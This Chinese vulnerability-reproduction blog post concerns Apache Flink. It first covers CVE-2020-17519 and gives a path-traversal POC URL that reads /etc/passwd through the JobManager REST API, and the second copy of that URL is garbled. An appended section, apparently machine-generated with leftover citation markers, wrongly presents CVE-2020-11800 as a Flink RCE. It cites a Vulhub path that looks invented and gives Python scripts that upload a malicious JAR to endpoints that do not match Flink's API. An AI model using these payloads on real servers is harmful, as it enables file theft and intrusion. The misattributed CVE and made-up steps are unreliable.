CVE-2020-17519 漏洞复现

Apache Flink CVE-2020-17519:任意文件读取漏洞分析

CVE-2020-17519

0x00 简介

Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任务。

0x01 漏洞概述

CVE-2020-17519 任意文件读取漏洞

Apache Flink 1.11.0中引入了一项更新,该更新在1.11.1及更高的版本和1.11.2中发布。

该项更新允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件

0x02 影响版本

至目前最新版本Apache Flink

1.11.0

1.11.1

1.11.2

0x03 环境搭建

测试环境:Flink 1.11.1 java8+
Apache Flink 1.11.1安装包下载

https://archive.apache.org/dist/flink/flink-1.11.1/flink-1.11.1-bin-scala_2.11.tgz

解压后进入bin文件夹,运行./start-cluster.sh

或者在虚拟机内搭建 docker 环境

https://www.jianshu.com/p/996e08b7976d

然后
git clone https://github.com/phith0n/vulhub.git

验证Flink启动之后,默认web 端口8081是否正常


访问http://ip:8081/可看到环境页面

0x04 漏洞利用

POC:http://you-ip/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

具体的快乐,就留给各位自己体会了

http://127.0.0.1/jobmanager/logs/..%252f..%252f..%252fer..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

 

 

### CVE-2020-11800 漏洞概述 CVE-2020-11800 是一个与 Apache Flink 相关的漏洞,该漏洞允许攻击者通过构造恶意请求来实现远程代码执行(RCE)。此漏洞的根本原因在于 Apache Flink 的 Web 界面未对用户输入进行充分验证,导致未经授权的用户可以发送特定的 HTTP 请求以执行任意代码[^4]。 ### 漏洞复现环境配置 为了复现 CVE-2020-11800 漏洞,需要搭建一个包含漏洞版本的 Apache Flink 环境。以下是具体步骤: #### 1. 克隆 Vulhub 仓库 Vulhub 是一个用于搭建漏洞复现环境的开源项目,可以通过以下命令克隆其仓库到本地: ```bash git clone https://github.com/vulhub/vulhub.git ``` #### 2. 定位漏洞环境路径 在 Vulhub 仓库中,Apache Flink 的漏洞环境路径为 `vulhub/flink/CVE-2020-11800`。进入该目录: ```bash cd vulhub/flink/CVE-2020-11800 ``` #### 3. 启动漏洞环境 使用 Docker Compose 启动漏洞环境: ```bash docker-compose up -d ``` 这将启动一个包含漏洞版本的 Apache Flink 环境[^5]。 #### 4. 验证环境是否正常运行 访问 Flink 的 Web 界面,默认地址为 `http://your-ip:8081`,确认页面能够正常加载。 ### 漏洞复现步骤 #### 1. 构造恶意请求 利用漏洞的关键在于向 Flink 的 Web 界面发送恶意的 HTTP 请求。以下是一个示例 Python 脚本,用于触发远程代码执行: ```python import requests url = "http://target-ip:8081/jars/upload" files = { 'file': open('malicious.jar', 'rb') # 替换为实际的恶意 JAR 文件 } response = requests.post(url, files=files) print(response.text) ``` #### 2. 执行命令 上传恶意 JAR 文件后,可以通过以下接口执行命令: ```python import requests url = "http://target-ip:8081/jars/execute" data = { "programArgs": "", "savepointPath": "", "parallelism": 1, "entryClass": "malicious.Main" # 替换为恶意类的主入口 } response = requests.post(url, json=data) print(response.text) ``` ### 注意事项 在测试过程中,确保只在授权的环境中进行操作,避免对生产系统造成影响。此外,及时更新 Apache Flink 至最新版本以修复此漏洞[^6]。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值